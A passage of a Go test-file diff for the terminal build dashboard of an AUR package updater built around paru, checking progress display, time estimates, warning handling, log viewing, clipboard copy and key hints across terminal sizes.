+func TestAnEmptyOutputPanelSaysSoRatherThanLookingBroken(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 1)
+ b.LogOpen = true
+ if !strings.Contains(plain(b.View(110, true, 0)), "nothing yet") {
+ t.Error("an empty panel gives no explanation")
+ }
+}
+
+// -- the display moves ----------------------------------------------------
+
+func TestTheIndicatorMovesBetweenFrames(t *testing.T) {
+ // A build that takes minutes and looks identical every second cannot be
+ // told apart from one that has hung.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "helix-git", Phase: "cargo"},
+ }})
+ first := plain(b.View(110, true, 0))
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "helix-git", Phase: "cargo"},
+ }})
+ second := plain(b.View(110, true, 0))
+ if first == second {
+ t.Error("nothing changed between frames, so a stalled build looks alive")
+ }
+}
+
+// -- the dashboard has to fit the terminal --------------------------------
+
+func busyBuild() *BuildView {
+ b := NewBuildView([]string{"aur"}, 27)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 27})
+ for i := 0; i < 20; i++ {
+ b.Apply(plan.Event{Event: "finished",
+ Name: fmt.Sprintf("pkg-%02d", i), State: "done", Elapsed: 3})
+ }
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "helix-git", Phase: "cargo", Elapsed: 40},
+ }, LogLines: []string{"line a", "line b"}})
+ for i := 0; i < 6; i++ {
+ b.Apply(plan.Event{Event: "error",
+ Message: fmt.Sprintf("warning number %d with a long explanation", i),
+ Details: []string{"a detail line"}})
+ }
+ return b
+}
+
+func TestTheControlsStayOnScreenHoweverLongTheRun(t *testing.T) {
+ // The footer and the key hints are the last lines. Without a budget a long
+ // feed pushed them off the bottom and the controls vanished mid-run --
+ // exactly when someone wants to press ctrl+c.
+ b := busyBuild()
+ b.LogOpen = true
+ for _, height := range []int{18, 24, 30, 45} {
+ view := plain(b.View(110, false, height))
+ lines := strings.Split(view, "\n")
+ if len(lines) > height {
+ t.Errorf("height %d produced %d lines", height, len(lines))
+ }
+ for _, want := range []string{"✗", "waiting", "ctrl+c"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("height %d lost %q:\n%s", height, want, view)
+ }
+ }
+ }
+}
+
+func TestOlderFeedEntriesScrollAwayRatherThanTheControls(t *testing.T) {
+ b := busyBuild()
+ view := plain(b.View(110, false, 24))
+ if !strings.Contains(view, "pkg-19") {
+ t.Errorf("the newest entry is not shown:\n%s", view)
+ }
+ if strings.Contains(view, "pkg-00") {
+ t.Errorf("an ancient entry is still taking space:\n%s", view)
+ }
+ if !strings.Contains(view, "earlier") {
+ t.Errorf("nothing says entries were dropped:\n%s", view)
+ }
+}
+
+func TestAnUnbudgetedViewStillShowsEverything(t *testing.T) {
+ // callers that do not know the height (tests, one-shot renders) keep the
+ // old behaviour rather than being silently truncated
+ b := busyBuild()
+ view := plain(b.View(110, false, 0))
+ if !strings.Contains(view, "pkg-00") {
+ t.Error("a zero height truncated the view")
+ }
+}
+
+// -- the running line says what the jobs are ------------------------------
+
+func TestTheRunningLineSaysWhatTheJobsAre(t *testing.T) {
+ // "5 jobs" says something is happening; "rustc ×4, cc1" says what, which
+ // is the only thing that tells a compiling build from a wedged one.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "flow-control-git", Phase: "make", Jobs: 5,
+ Workers: "rustc ×4, cc1"},
+ }})
+ view := plain(b.View(110, true, 0))
+ if !strings.Contains(view, "rustc ×4, cc1") {
+ t.Errorf("the workers are not named:\n%s", view)
+ }
+ if strings.Contains(view, "5 jobs") {
+ t.Errorf("a bare count is shown even though the workers are known:\n%s", view)
+ }
+}
+
+func TestABuildWithNoProcessNamesFallsBackToTheCount(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "x", Phase: "make", Jobs: 5},
+ }})
+ if !strings.Contains(plain(b.View(110, true, 0)), "5 jobs") {
+ t.Error("the count is dropped when no names are available")
+ }
+}
+
+// -- warnings sit between the output and the counters ---------------------
+
+func TestWarningsComeAfterTheOutputAndBeforeTheCounters(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.LogOpen = true
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"compiling thing"}})
+ b.Apply(plan.Event{Event: "error", Message: "something to say"})
+
+ view := plain(b.View(110, true, 0))
+ outputAt := strings.Index(view, "OUTPUT")
+ warnAt := strings.Index(view, "something to say")
+ buildsAt := strings.Index(view, "BUILDS")
+ if outputAt < 0 || warnAt < 0 || buildsAt < 0 {
+ t.Fatalf("a section is missing:\n%s", view)
+ }
+ if !(outputAt < warnAt && warnAt < buildsAt) {
+ t.Errorf("wrong order: OUTPUT=%d warning=%d BUILDS=%d", outputAt, warnAt, buildsAt)
+ }
+}
+
+// -- the selected warning looks selected ----------------------------------
+
+func TestTheSelectedWarningLooksLikeASelectedRow(t *testing.T) {
+ // A different glyph was too quiet to tell apart from the warning's own
+ // colouring; the list uses a filled bar and so does this.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "error", Message: "first"})
+ b.Apply(plan.Event{Event: "error", Message: "second"})
+
+ // the cursor follows the newest message, so that is the selected one
+ lines := strings.Split(b.View(60, true, 0), "\n")
+ var selected string
+ for _, line := range lines {
+ if strings.Contains(line, "second") {
+ selected = line
+ }
+ }
+ if selected == "" {
+ t.Fatal("the selected warning is not on screen")
+ }
+ if !strings.Contains(selected, Selected.Render("x")) {
+ // Selected carries a background; compare its escape sequence prefix
+ marker := strings.SplitN(Selected.Render("x"), "x", 2)[0]
+ if !strings.Contains(selected, marker) {
+ t.Errorf("the selected warning is not drawn with the selection style:\n%q",
+ selected)
+ }
+ }
+ // and it spans the width, so the bar reads as a bar
+ if ansi.StringWidth(selected) < 59 {
+ t.Errorf("the selection bar is %d cells wide, not the full row",
+ ansi.StringWidth(selected))
+ }
+}
+
+func TestTheSameMessageIsNotShownTwice(t *testing.T) {
+ // A signal reaches the backend and its child, each reports the interrupt,
+ // and the bottom of the screen became a wall of identical lines.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.AddMessage("backend: interrupting…")
+ b.AddMessage("backend: interrupting…")
+ if len(b.Messages) != 1 {
+ t.Errorf("messages = %+v", b.Messages)
+ }
+ b.Apply(plan.Event{Event: "error", Message: "a real problem"})
+ b.Apply(plan.Event{Event: "error", Message: "a real problem"})
+ if len(b.Messages) != 2 {
+ t.Errorf("messages = %+v", b.Messages)
+ }
+}
+
+func TestTheMessageListDoesNotGrowWithoutLimit(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ for i := 0; i < 30; i++ {
+ b.AddMessage(fmt.Sprintf("problem %d", i))
+ }
+ if len(b.Messages) > 8 {
+ t.Errorf("%d messages kept", len(b.Messages))
+ }
+ // the newest survive, and the cursor stays inside the list
+ if b.Messages[len(b.Messages)-1].Text != "problem 29" {
+ t.Errorf("the newest was dropped: %+v", b.Messages)
+ }
+ b.MoveCursor(1)
+ if b.Cursor >= len(b.Messages) {
+ t.Errorf("cursor %d outside %d messages", b.Cursor, len(b.Messages))
+ }
+}
+
+func TestTheSelectionFollowsTheNewestMessage(t *testing.T) {
+ // The bar used to sit on the oldest warning, drawing the eye to a stale
+ // item instead of what had just happened.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.AddMessage("old news")
+ b.AddMessage("just happened")
+ if b.Messages[b.Cursor].Text != "just happened" {
+ t.Errorf("cursor is on %q", b.Messages[b.Cursor].Text)
+ }
+}
+
+func TestTheHeaderAndTheFooterAgreeOnWhatIsDone(t *testing.T) {
+ // They counted from different places -- the header from the backend's own
+ // tally, the footer from the list it was showing -- so the header read
+ // "1/21 packages" above a list of two finished ones.
+ b := NewBuildView([]string{"aur"}, 21)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 21})
+ b.Apply(plan.Event{Event: "build", Done: 1, Total: 21})
+ b.Apply(plan.Event{Event: "finished", Name: "python-fqdn", State: "done", Elapsed: 1})
+ b.Apply(plan.Event{Event: "finished", Name: "aconfmgr-git", State: "done", Elapsed: 1})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{{Name: "x"}},
+ Done: 1, Total: 21})
+
+ view := plain(b.View(110, true, 0))
+ // the count lives on the progress line
+ if !strings.Contains(view, "2/21") {
+ t.Errorf("the progress line does not match the list beneath it:\n%s", view)
+ }
+ if !strings.Contains(view, "✓ 2 done") {
+ t.Errorf("the footer disagrees:\n%s", view)
+ }
+}
+
+func TestTheHeaderCountsFailuresSeparately(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 3})
+ b.Apply(plan.Event{Event: "finished", Name: "a", State: "done"})
+ b.Apply(plan.Event{Event: "failed", Name: "b"})
+ view := plain(b.View(110, true, 0))
+ if !strings.Contains(view, "2/3 · 1 failed") {
+ t.Errorf("failures are not distinguished:\n%s", view)
+ }
+}
+
+// -- the hints must survive a narrow terminal -----------------------------
+
+func TestTheBarStaysShortHoweverWideTheTerminal(t *testing.T) {
+ // It used to grow to nine bindings simply because there was room for
+ // them, which is a bar nobody reads. The rest lives behind ?.
+ b := busyBuild()
+ for _, width := range []int{80, 140, 200, 300} {
+ line := lastHintLine(plain(b.View(width, false, 0)))
+ if n := strings.Count(line, " · "); n > 6 {
+ t.Errorf("width %d shows %d bindings:\n%s", width, n+1, line)
+ }
+ if !strings.Contains(line, "help") {
+ t.Errorf("width %d lost the help key:\n%s", width, line)
+ }
+ }
+}
+
+func TestTheBarFitsTheTerminalAtEveryWidth(t *testing.T) {
+ // Bounded twice, because either bound alone gets it wrong: a ceiling
+ // without fitting pushed keys past a narrow edge, and fitting without a
+ // ceiling grew the bar with the screen.
+ b := busyBuild()
+ for width := 50; width <= 240; width += 10 {
+ line := lastHintLine(plain(b.View(width, false, 0)))
+ if got := ansi.StringWidth(line); got > width {
+ t.Errorf("width %d: the bar is %d cells:\n%s", width, got, line)
+ }
+ if !strings.Contains(line, "help") {
+ t.Errorf("width %d lost the help key:\n%s", width, line)
+ }
+ }
+}
+
+func TestEveryCapabilityIsReachableFromTheBarOrHelp(t *testing.T) {
+ // A key that is on neither is a key nobody finds.
+ b := busyBuild()
+ width := 200
+ bar := plain(b.View(width, false, 0))
+ help := plain(newRunHelp().View(width, 30))
+ for _, key := range []string{"output", "finished", "warnings", "abort"} {
+ if !strings.Contains(bar, key) && !strings.Contains(help, key) {
+ t.Errorf("%q is on neither the bar nor in the keymap", key)
+ }
+ }
+}
+
+func TestTheAbortKeyIsAlwaysOnTheBar(t *testing.T) {
+ b := busyBuild()
+ for _, width := range []int{40, 60, 80, 120} {
+ line := lastHintLine(plain(b.View(width, false, 0)))
+ if !strings.Contains(line, "ctrl+c") {
+ t.Errorf("width %d lost the abort key:\n%s", width, line)
+ }
+ }
+}
+
+// lastHintLine is the final non-empty line carrying bindings.
+func lastHintLine(view string) string {
+ lines := strings.Split(view, "\n")
+ for i := len(lines) - 1; i >= 0; i-- {
+ if strings.Contains(lines[i], "ctrl+c") || strings.Contains(lines[i], "help") {
+ return lines[i]
+ }
+ }
+ return ""
+}
+
+func TestTheCommandIsNotRepeatedInTheHintLine(t *testing.T) {
+ // The hints are the only thing on that line worth reading; what is running
+ // is already named above it.
+ b := busyBuild()
+ b.Command = "paru -S --needed --noconfirm --nobatchinstall helix-git"
+ view := plain(b.View(200, false, 0))
+ for _, line := range strings.Split(view, "\n") {
+ if strings.Contains(line, "ctrl+c") && strings.Contains(line, "paru -S") {
+ t.Errorf("the command is repeated on the hint line:\n%s", line)
+ }
+ }
+}
+
+// -- the output can be read in full ---------------------------------------
+
+func TestTheOutputCanBeOpenedFullScreen(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ var lines []string
+ for i := 0; i < 300; i++ {
+ lines = append(lines, fmt.Sprintf("[%d/762] Compiling object file-%03d.cpp.o", i, i))
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: lines})
+
+ if strings.Contains(plain(b.View(110, true, 20)), "Compiling object file-000") {
+ t.Error("the whole log is rendered inline")
+ }
+ b.OpenOutput()
+ view := plain(b.View(110, true, 30))
+ if !strings.Contains(view, "Compiling object") {
+ t.Fatalf("the full view is empty:\n%s", view)
+ }
+ // the modal carries its own scrolling and search
+ if !strings.Contains(view, "esc") {
+ t.Errorf("the full view has no way out:\n%s", view)
+ }
+ b.OpenOutput() // toggles back
+ if b.Output != nil {
+ t.Error("the full view did not close")
+ }
+}
+
+func TestTheFullOutputFollowsTheBuild(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"first"}})
+ b.OpenOutput()
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"second"}})
+ if !strings.Contains(plain(b.View(110, true, 30)), "second") {
+ t.Errorf("the open view does not keep up:\n%s", plain(b.View(110, true, 30)))
+ }
+}
+
+func TestTheLogGrowsWithoutBound(t *testing.T) {
+ // The inline panel shows a window; the whole stream is kept so it can be
+ // read back.
+ b := NewBuildView([]string{"aur"}, 2)
+ for i := 0; i < 100; i++ {
+ b.Apply(plan.Event{Event: "build", LogLines: []string{fmt.Sprintf("line %d", i)}})
+ }
+ if len(b.Log) != 100 {
+ t.Errorf("kept %d lines, want 100", len(b.Log))
+ }
+ if len(b.tailLog()) != 8 {
+ t.Errorf("the inline panel shows %d lines, want 8", len(b.tailLog()))
+ }
+}
+
+func TestTheScrollPositionSurvivesALongLogPath(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "phase_start", Phase: "aur",
+ Log: "/home/faen/.local/state/updater/runs/2026-10-01T00-20-34/logs/aur/noctalia-git.log"})
+ var lines []string
+ for i := 0; i < 300; i++ {
+ lines = append(lines, fmt.Sprintf("line %d", i))
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: lines})
+ b.OpenOutput()
+ view := plain(b.View(100, true, 24))
+ if !strings.Contains(view, "/300]") {
+ t.Errorf("the position was pushed out by the path:\n%s", view)
+ }
+}
+
+func TestTheOutputOpensAtTheEndNotTheStart(t *testing.T) {
+ // Opening it put you at the top of a log whose interesting end was
+ // thousands of lines away, and new lines did not carry the view with them.
+ b := NewBuildView([]string{"aur"}, 2)
+ var lines []string
+ for i := 0; i < 500; i++ {
+ lines = append(lines, fmt.Sprintf("line %d", i))
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: lines})
+ b.OpenOutput()
+ view := plain(b.View(100, true, 24))
+ if !strings.Contains(view, "line 499") {
+ t.Errorf("the newest line is not on screen:\n%s", view)
+ }
+ if strings.Contains(view, "line 0\n") {
+ t.Errorf("the view opened at the start:\n%s", view)
+ }
+}
+
+func TestTheOpenOutputFollowsNewLines(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ for i := 0; i < 400; i++ {
+ b.Apply(plan.Event{Event: "build", LogLines: []string{fmt.Sprintf("old %d", i)}})
+ }
+ b.OpenOutput()
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"the newest line"}})
+ if !strings.Contains(plain(b.View(100, true, 24)), "the newest line") {
+ t.Errorf("the view did not follow the end:\n%s", plain(b.View(100, true, 24)))
+ }
+}
+
+func TestScrollingUpStopsFollowingAndGResumesIt(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ for i := 0; i < 200; i++ {
+ b.Apply(plan.Event{Event: "build", LogLines: []string{fmt.Sprintf("line %d", i)}})
+ }
+ b.OpenOutput()
+ _ = b.Output.View(100, 24) // establishes the window
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'k'}})
+ if b.Output.follow {
+ t.Error("scrolling up kept following")
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"brand new"}})
+ if strings.Contains(plain(b.View(100, true, 24)), "brand new") {
+ t.Error("the view was pulled away from where the reader was")
+ }
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'G'}})
+ if !b.Output.follow {
+ t.Error("G did not resume following")
+ }
+ if !strings.Contains(plain(b.View(100, true, 24)), "brand new") {
+ t.Error("following did not catch up")
+ }
+}
+
+// -- the footer ------------------------------------------------------------
+
+func TestTheProgressBarFillsAsWorkCompletes(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 10)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 10})
+ empty := plain(b.View(110, true, 0))
+ if !strings.Contains(empty, "0/10") {
+ t.Errorf("the count is missing:\n%s", empty)
+ }
+ for i := 0; i < 5; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("p%d", i), State: "done"})
+ }
+ half := plain(b.View(110, true, 0))
+ if !strings.Contains(half, "5/10") {
+ t.Errorf("the count did not move:\n%s", half)
+ }
+ if !strings.Contains(half, "━") || !strings.Contains(half, "─") {
+ t.Errorf("the bar is not partly filled:\n%s", half)
+ }
+}
+
+func TestTheEstimateIsLinearInProgress(t *testing.T) {
+ // Half way in the same time again; a quarter of the way in three times as
+ // long. It uses everything the run has shown rather than a subset, so it
+ // is available from the first moments instead of waiting for several
+ // finished packages to average.
+ cases := []struct {
+ elapsed float64
+ worked int
+ total int
+ wantFrom float64
+ wantTo float64
+ }{
+ {elapsed: 120, worked: 50, total: 100, wantFrom: 100, wantTo: 140}, // 2min in, half done
+ {elapsed: 300, worked: 25, total: 100, wantFrom: 850, wantTo: 950}, // 5min in, quarter done
+ {elapsed: 60, worked: 90, total: 100, wantFrom: 0, wantTo: 15}, // nearly there
+ }
+ for _, c := range cases {
+ b := NewBuildView([]string{"aur"}, c.total)
+ b.Started = time.Now().Add(-time.Duration(c.elapsed) * time.Second)
+ b.Weight = c.total
+ b.Feed = nil
+ for i := 0; i < c.worked; i++ {
+ b.Feed = append(b.Feed, feedEntry{name: "p", state: "done", weight: 1})
+ }
+ got, ok := b.eta()
+ if !ok {
+ t.Errorf("no estimate at %.0fs and %d/%d", c.elapsed, c.worked, c.total)
+ continue
+ }
+ if got < c.wantFrom || got > c.wantTo {
+ t.Errorf("at %.0fs and %d/%d: estimate %.0fs, want %.0f-%.0f",
+ c.elapsed, c.worked, c.total, got, c.wantFrom, c.wantTo)
+ }
+ }
+}
+
+func TestNoEstimateBeforeTheRunHasShownAnything(t *testing.T) {
+ // The arithmetic divides by progress, so near the start it is both
+ // unstable and enormous.
+ b := NewBuildView([]string{"aur"}, 100)
+ b.Started = time.Now()
+ b.Weight = 100
+ if left, ok := b.eta(); ok {
+ t.Errorf("an estimate was offered with nothing done: %.0fs", left)
+ }
+ // one package of a hundred is two per cent, which says nothing about the
+ // other ninety-eight
+ b.Feed = append(b.Feed, feedEntry{name: "p", state: "done", weight: 1})
+ if left, ok := b.eta(); ok {
+ t.Errorf("an estimate was offered at 1%%: %.0fs", left)
+ }
+ // five per cent is where it starts meaning something
+ for i := 0; i < 4; i++ {
+ b.Feed = append(b.Feed, feedEntry{name: "p", state: "done", weight: 1})
+ }
+ if _, ok := b.eta(); !ok {
+ t.Error("no estimate at five per cent")
+ }
+}
+
+func TestDownloadsAreBlankRatherThanADashWhenUnknown(t *testing.T) {
+ // paru never reports what it fetches, so a permanent "—" is a line that
+ // will never say anything.
+ b := NewBuildView([]string{"aur"}, 5)
+ view := plain(b.View(110, true, 0))
+ for _, line := range strings.Split(view, "\n") {
+ if strings.HasPrefix(strings.TrimSpace(line), "✗") {
+ if strings.Contains(line, "—") {
+ t.Errorf("a dash is shown where downloads would be:\n%s", line)
+ }
+ }
+ }
+}
+
+// -- warnings can be read in full -----------------------------------------
+
+func TestAWarningOpensInFull(t *testing.T) {
+ // The dashboard gives each warning one line so the list stays readable,
+ // which means anything longer is cut off. This is where the rest lives.
+ b := NewBuildView([]string{"aur"}, 2)
+ long := "helix-git: failed (exit 1) — error: packages failed to build: " +
+ strings.Repeat("detail ", 30)
+ b.AddMessage(long, "the first detail", "the second detail")
+
+ modal := b.OpenMessage()
+ if modal == nil {
+ t.Fatal("the warning did not open")
+ }
+ view := plain(modal.View(100, 30))
+ // the title is the headline; the body carries the whole sentence
+ if !strings.Contains(view, "helix-git: failed (exit 1)") {
+ t.Errorf("the headline is missing:\n%s", view)
+ }
+ if !strings.Contains(view, "detail detail") {
+ t.Errorf("the body was cut short:\n%s", view)
+ }
+ for _, want := range []string{"the first detail", "the second detail"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("the detail %q is missing:\n%s", want, view)
+ }
+ }
+}
+
+func TestOpeningWithNoWarningsDoesNothing(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ if b.OpenMessage() != nil {
+ t.Error("a modal appeared with nothing to show")
+ }
+}
+
+func TestLongProseIsWrappedNotCut(t *testing.T) {
+ // The line renderers truncate, which is right for a log and wrong for a
+ // paragraph of explanation.
+ lines := wrapText(strings.Repeat("word ", 60), 40)
+ if len(lines) < 5 {
+ t.Fatalf("wrapped into %d lines", len(lines))
+ }
+ for _, line := range lines {
+ if len(line) > 40 {
+ t.Errorf("a line is %d wide: %q", len(line), line)
+ }
+ }
+ if joined := strings.Join(lines, " "); strings.Count(joined, "word") != 60 {
+ t.Error("wrapping lost words")
+ }
+}
+
+func TestMessageTitlesAreHeadlines(t *testing.T) {
+ cases := map[string]string{
+ "helix-git: failed (exit 1) — error: packages failed to build: helix-git-1": "helix-git: failed (exit 1)",
+ "6 package(s) left the AUR and were left alone: grrs-git, librewolf-bin": "6 package(s) left the AUR and were left alone",
+ "short": "short",
+ }
+ for text, want := range cases {
+ if got := shortTitle(text); got != want {
+ t.Errorf("shortTitle(%q) = %q, want %q", text, got, want)
+ }
+ }
+}
+
+// -- the log viewer colours what matters ----------------------------------
+
+func TestTheLogViewerColoursErrorsAndWarnings(t *testing.T) {
+ cases := map[string]string{
+ "error: could not compile `foo`": "err",
+ "==> ERROR: A failure occurred in build().": "err",
+ "error: failed to download sources": "err",
+ "==> WARNING: Using existing $srcdir/ tree": "warn",
+ "warning: unused variable": "warn",
+ " foo.tar.xz ... Skipped": "warn",
+ "==> Starting build()...": "title",
+ " Compiling serde v1.0.2": "muted",
+ }
+ for line, want := range cases {
+ got := logLine(line)
+ var style lipgloss.Style
+ switch want {
+ case "err":
+ style = Err
+ case "warn":
+ style = Warn
+ case "title":
+ style = Title
+ default:
+ style = Muted
+ }
+ if !strings.Contains(got, strings.SplitN(style.Render("x"), "x", 2)[0]) {
+ t.Errorf("%q was not styled as %s: %q", line, want, got)
+ }
+ }
+}
+
+func TestTheLogViewerLeavesTheTextAlone(t *testing.T) {
+ for _, line := range []string{"error: x", "==> y", "", "plain"} {
+ if got := ansi.Strip(logLine(line)); got != line {
+ t.Errorf("%q became %q", line, got)
+ }
+ }
+}
+
+// -- the log can be copied ------------------------------------------------
+
+func TestTheLogCanBeCopiedToTheClipboard(t *testing.T) {
+ // OSC 52 rather than a helper program: it travels over SSH and needs
+ // nothing installed.
+ seq := osc52("hello")
+ if !strings.HasPrefix(seq, "\x1b]52;c;") || !strings.HasSuffix(seq, "\a") {
+ t.Fatalf("not an OSC 52 sequence: %q", seq)
+ }
+ if !strings.Contains(seq, "aGVsbG8=") { // base64 of "hello"
+ t.Errorf("the payload is not base64: %q", seq)
+ }
+}
+
+func TestACopyOfSomethingHugeIsTruncatedAndSaysSo(t *testing.T) {
+ // A terminal will only accept so much.
+ m := newText("x")
+ m.logMode = true
+ var lines []string
+ for i := 0; i < 20000; i++ {
+ lines = append(lines, strings.Repeat("noise ", 20))
+ }
+ m.Update(textBodyMsg{title: "x", lines: lines})
+
+ var sink strings.Builder
+ restore := clipboard
+ clipboard = &sink
+ defer func() { clipboard = restore }()
+
+ cmd := m.copy()
+ if cmd == nil {
+ t.Fatal("no copy command")
+ }
+ if msg, ok := cmd().(copiedMsg); !ok || !strings.Contains(msg.what, "truncated") {
+ t.Errorf("a huge copy did not say it was cut: %+v", cmd())
+ }
+ if sink.Len() == 0 {
+ t.Error("nothing was written to the clipboard")
+ }
+}
+
+// -- the progress line -----------------------------------------------------
+
+func TestTheProgressBarSpansTheLine(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 20)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 20})
+ for i := 0; i < 10; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("p%d", i), State: "done"})
+ }
+ var bar string
+ for _, line := range strings.Split(b.View(100, true, 0), "\n") {
+ if strings.Contains(line, "━") {
+ bar = line
+ }
+ }
+ if bar == "" {
+ t.Fatal("no progress line")
+ }
+ // a bar in a table column could not do this
+ if w := ansi.StringWidth(bar); w < 90 {
+ t.Errorf("the bar is only %d cells wide on a 100-cell screen", w)
+ }
+ if !strings.Contains(bar, "10/20") {
+ t.Errorf("the bar line does not say where the run is:\n%s", bar)
+ }
+}
+
+func TestTheCountAppearsOnce(t *testing.T) {
+ // It used to be in the header, the progress column and the footer, which
+ // is what made the screen feel cluttered.
+ b := NewBuildView([]string{"aur"}, 20)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 20})
+ for i := 0; i < 7; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("p%d", i), State: "done"})
+ }
+ view := plain(b.View(100, true, 0))
+ if n := strings.Count(view, "7/20"); n != 1 {
+ t.Errorf("the count appears %d times:\n%s", n, view)
+ }
+}
+
+func TestTheProgressLineShowsNoEstimateBeforeItCanKnowOne(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 20)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 20})
+ if strings.Contains(plain(b.View(100, true, 0)), "left") {
+ t.Error("an estimate is shown before anything has finished")
+ }
+}
+
+func TestABarWithNoSuccessesDoesNotReadAsProgress(t *testing.T) {
+ // Every failure still fills the bar; the colour has to carry that or it
+ // reads as work completed.
+ b := NewBuildView([]string{"aur"}, 4)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 4})
+ b.Apply(plan.Event{Event: "failed", Name: "a"})
+ b.Apply(plan.Event{Event: "failed", Name: "b"})
+ var bar string
+ for _, line := range strings.Split(b.View(100, true, 0), "\n") {
+ if strings.Contains(line, "━") {
+ bar = line
+ }
+ }
+ prefix := strings.SplitN(Err.Render("x"), "x", 2)[0]
+ if !strings.Contains(bar, prefix) {
+ t.Errorf("a run that has only failed is drawn as progress:\n%q", bar)
+ }
+}
+
+func TestOpeningAWarningDoesNotTurnItIntoTheLog(t *testing.T) {
+ // Both used one field, and the refresh that keeps the log current ran
+ // whatever was open -- so a warning opened while a build was running was
+ // replaced by the build's output as soon as the next line arrived.
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"Compiling gix-config v0.58.0"}})
+ b.AddMessage("6 package(s) left the AUR and were left alone",
+ "grrs-git", "librewolf-bin")
+
+ modal := b.OpenMessage()
+ if modal == nil {
+ t.Fatal("the warning did not open")
+ }
+ b.Output, b.OutputKind = modal, overlayMessage
+
+ // more output arrives while it is open
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"Compiling helix-term v25.7.1"}})
+
+ view := plain(b.View(100, true, 24))
+ if strings.Contains(view, "Compiling helix-term") {
+ t.Errorf("the warning was replaced by the build's output:\n%s", view)
+ }
+ for _, want := range []string{"6 package(s) left the AUR", "grrs-git"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("%q is missing from the warning:\n%s", want, view)
+ }
+ }
+}
+
+func TestTheLogViewStillFollowsWhileAMessageWouldNot(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"first"}})
+ b.OpenOutput()
+ if b.OutputKind != overlayLog {
+ t.Fatal("the log view is not marked as the log")
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"second"}})
+ if !strings.Contains(plain(b.View(100, true, 20)), "second") {
+ t.Error("the log stopped following")
+ }
+ b.OpenOutput() // close
+ b.OpenMessage()
+ if b.Output != nil {
+ t.Error("a message opened with no messages present")
+ }
+}
+
+// -- ? opens help, and the bar stays put --------------------------------
+
+func TestTheRunHelpOpensOnTheRunTab(t *testing.T) {
+ // The dashboard has its own keys, and the list's are not what somebody
+ // mid-transaction wants to read.
+ help := newRunHelp()
+ view := plain(help.View(100, 30))
+ for _, want := range []string{"stop the run", "dismiss it for this session"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("%q is missing from the run keymap:\n%s", want, view)
+ }
+ }
+ // the list's keys have no meaning here
+ for _, unwanted := range []string{"DECIDE", "skip for this run", "acknowledge an advisory"} {
+ if strings.Contains(view, unwanted) {
+ t.Errorf("%q is shown in the run keymap:\n%s", unwanted, view)
+ }
+ }
+ // and the output tab is reachable
+ next, _ := help.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'l'}})
+ if got := plain(next.View(100, 30)); !strings.Contains(got, "copy the whole log") {
+ t.Errorf("the output tab is missing:\n%s", got)
+ }
+}
+
+func TestTheListKeymapHasNoRunKeys(t *testing.T) {
+ help := newHelp()
+ for _, unwanted := range []string{"stop the run", "dismiss it for this session", "copy the whole log"} {
+ for tab := range listHelpTabs {
+ help.tab = tab
+ if strings.Contains(plain(help.View(100, 30)), unwanted) {
+ t.Errorf("%q appears on the %s tab", unwanted, listHelpTabs[tab])
+ }
+ }
+ }
+}
+
+func TestTheHelpKeyIsLastOnTheBar(t *testing.T) {
+ b := busyBuild()
